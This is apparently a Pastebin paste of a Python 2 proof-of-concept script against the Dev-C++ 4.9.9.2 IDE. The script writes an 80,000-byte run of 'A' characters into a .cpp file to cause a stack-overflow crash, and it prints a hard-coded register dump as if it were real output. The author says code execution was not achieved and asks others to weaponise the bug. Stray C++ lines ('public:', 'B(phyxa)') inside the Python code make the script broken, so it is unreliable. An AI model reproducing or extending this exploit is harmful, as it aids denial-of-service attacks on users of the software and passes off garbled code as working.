emS-St1ks

Local Stack Overflow Upgrade !

Jun 15th, 2012
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.94 KB | None | 0 0
  1. #!/usr/bin/env python
  2. print "--------------------------------------------------------------"
  3. print "Dev-C++ 4.9.9.2 Stack Overflow"
  4. print "none"
  5. print "author: st1ks upgrade version"
  6. print "great code"
  7. print "st1ks"
  8. print "--------------------------------------------------------------"
  9.  
  10. try:
  11.    char = "\x41" * 80000
  12.  
  13.    out_file = open('DevCpp.cpp','wb')
  14.    out_file.write(char)
  15.    out_file.close()
  16.    public:
  17.     B(phyxa)
  18.  
  19.    print "File succesfully created!\n\n"
  20.    print "Here is a dump:"
  21.    print "----------------------------------------------------------------"
  22.    print "pid=0A58 tid=04C4  EXCEPTION (first-chance)"
  23.    print "----------------------------------------------------------------"
  24.    print "Exception C00000FD (STACK_OVERFLOW)"
  25.    print "----------------------------------------------------------------"
  26.    print "EAX=00000674: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
  27.    print "EBX=00000400: ?? ?? 00 00 CF ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
  28.    print "ECX=00404358: 8B 44 24 04 F7 41 04 06-00 00 00 0F 85 89 00 00"
  29.    print "EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00"
  30.    print "ESP=00032E1C: 00 00 00 00 00 B5 00 00-00 00 00 00 00 00 00 00"
  31.    print "EBP=000334A0: CC 34 03 00 7C 43 40 00-C0 34 03 00 BF 37 91 7C"
  32.    print "ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
  33.    print "EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??"
  34.    print "EIP=7C8024E0: 53 56 57 8B 45 F8 89 65-E8 50 8B 45 FC C7 45 FC"
  35.    print "              --> PUSH EBX"
  36.    print
  37. "----------------------------------------------------------------\n"
  38.    print "Encreasing the number of characters will change the results of"
  39.    print "this exploit. For example try with 1000000 of characters and see"
  40.    print "what happen."
  41.    print "I was unable to execute arbitrary code but I think someone
  42. better"
  43.    print "than me can succesfully exploit it :P\n"
  44. except:
  45.    print "Unable to create file!"
Advertisement
Add Comment
Please, Sign In to add comment